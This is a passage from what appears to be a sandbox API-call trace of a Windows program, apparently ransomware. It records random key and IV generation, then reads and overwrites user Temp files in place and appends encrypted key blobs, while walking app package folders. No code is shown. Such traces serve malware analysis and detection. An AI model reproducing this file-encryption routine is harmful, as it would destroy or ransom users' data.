(hObject=0x1c74) returned 1 [0200.838] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0200.838] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0200.838] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\- X2rO6x6C5.jpg", dwFileAttributes=0x80) returned 1 [0200.838] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\- X2rO6x6C5.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\- x2ro6x6c5.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c74 [0200.838] GetFileSizeEx (in: hFile=0x1c74, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2635) returned 1 [0200.838] ReadFile (in: hFile=0x1c74, lpBuffer=0x3562008, nNumberOfBytesToRead=0xa4b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesRead=0x2e1f9bc*=0xa4b, lpOverlapped=0x0) returned 1 [0200.839] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=-2635, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.839] WriteFile (in: hFile=0x1c74, lpBuffer=0x30ca018*, nNumberOfBytesToWrite=0xa4b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ca018*, lpNumberOfBytesWritten=0x2e1f9bc*=0xa4b, lpOverlapped=0x0) returned 1 [0200.839] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xa4b [0200.839] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.839] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.839] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.840] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.840] CloseHandle (hObject=0x1c74) returned 1 [0200.841] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x476c0de7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d16f0 [0200.841] FindNextFileW (in: hFindFile=0x30d16f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x476c0de7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.841] FindNextFileW (in: hFindFile=0x30d16f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e43986b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="CalendarCache.dat", cAlternateFileName="CALEND~1.DAT")) returned 1 [0200.841] FindNextFileW (in: hFindFile=0x30d16f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e43986b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="CalendarCache.dat", cAlternateFileName="CALEND~1.DAT")) returned 0 [0200.841] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0200.841] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0200.841] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\CalendarCache.dat", dwFileAttributes=0x80) returned 1 [0200.842] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\CalendarCache.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\temp\\calendarcache.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c78 [0200.842] GetFileSizeEx (in: hFile=0x1c78, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=20) returned 1 [0200.842] ReadFile (in: hFile=0x1c78, lpBuffer=0x60b6f8, nNumberOfBytesToRead=0x14, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60b6f8*, lpNumberOfBytesRead=0x2e1f9bc*=0x14, lpOverlapped=0x0) returned 1 [0200.843] SetFilePointer (in: hFile=0x1c78, lDistanceToMove=-20, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.843] WriteFile (in: hFile=0x1c78, lpBuffer=0x60b498*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60b498*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14, lpOverlapped=0x0) returned 1 [0200.843] SetFilePointer (in: hFile=0x1c78, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x14 [0200.843] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.844] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.844] WriteFile (in: hFile=0x1c78, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.844] WriteFile (in: hFile=0x1c78, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.844] CloseHandle (hObject=0x1c78) returned 1 [0200.845] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a79bf59, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a79bf59, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a79bf59, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1170 [0200.845] FindNextFileW (in: hFindFile=0x30d1170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a79bf59, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a79bf59, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a79bf59, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.845] FindNextFileW (in: hFindFile=0x30d1170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a79bf59, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a79bf59, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a79bf59, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.846] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b36d31b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc8f98a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3b36d31b, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d11b0 [0200.846] FindNextFileW (in: hFindFile=0x30d11b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b36d31b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc8f98a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3b36d31b, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.846] FindNextFileW (in: hFindFile=0x30d11b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b36d31b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc8f98a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3b36d31b, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.846] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83eb0c97, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83eb0c97, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83eb0c97, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d14f0 [0200.846] FindNextFileW (in: hFindFile=0x30d14f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83eb0c97, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83eb0c97, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83eb0c97, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.846] FindNextFileW (in: hFindFile=0x30d14f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83eb0c97, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83eb0c97, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83eb0c97, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.846] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83105dc2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83105dc2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83105dc2, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d13b0 [0200.846] FindNextFileW (in: hFindFile=0x30d13b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83105dc2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83105dc2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83105dc2, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.846] FindNextFileW (in: hFindFile=0x30d13b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83105dc2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83105dc2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83105dc2, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.847] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e65763, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81e65763, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81e65763, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d12f0 [0200.847] FindNextFileW (in: hFindFile=0x30d12f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e65763, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81e65763, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81e65763, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.847] FindNextFileW (in: hFindFile=0x30d12f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e65763, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81e65763, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81e65763, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.847] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80d4289c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80d4289c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80d4289c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1370 [0200.847] FindNextFileW (in: hFindFile=0x30d1370, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80d4289c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80d4289c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80d4289c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.847] FindNextFileW (in: hFindFile=0x30d1370, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80d4289c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80d4289c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80d4289c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.847] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79f43b71, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79f43b71, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79f43b71, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1570 [0200.847] FindNextFileW (in: hFindFile=0x30d1570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79f43b71, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79f43b71, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79f43b71, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.848] FindNextFileW (in: hFindFile=0x30d1570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79f43b71, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79f43b71, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79f43b71, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.848] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c48483f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c48483f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c48483f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d10f0 [0200.848] FindNextFileW (in: hFindFile=0x30d10f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c48483f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c48483f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c48483f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.848] FindNextFileW (in: hFindFile=0x30d10f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c48483f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c48483f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c48483f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.848] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbe9a15, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7dbe9a15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7dbe9a15, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d15b0 [0200.848] FindNextFileW (in: hFindFile=0x30d15b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbe9a15, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7dbe9a15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7dbe9a15, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.848] FindNextFileW (in: hFindFile=0x30d15b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbe9a15, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7dbe9a15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7dbe9a15, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.848] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e48e2a2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e48e2a2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e48e2a2, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d11f0 [0200.848] FindNextFileW (in: hFindFile=0x30d11f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e48e2a2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e48e2a2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e48e2a2, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.849] FindNextFileW (in: hFindFile=0x30d11f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e48e2a2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e48e2a2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e48e2a2, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.849] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50a206ba, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc99b77a2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, 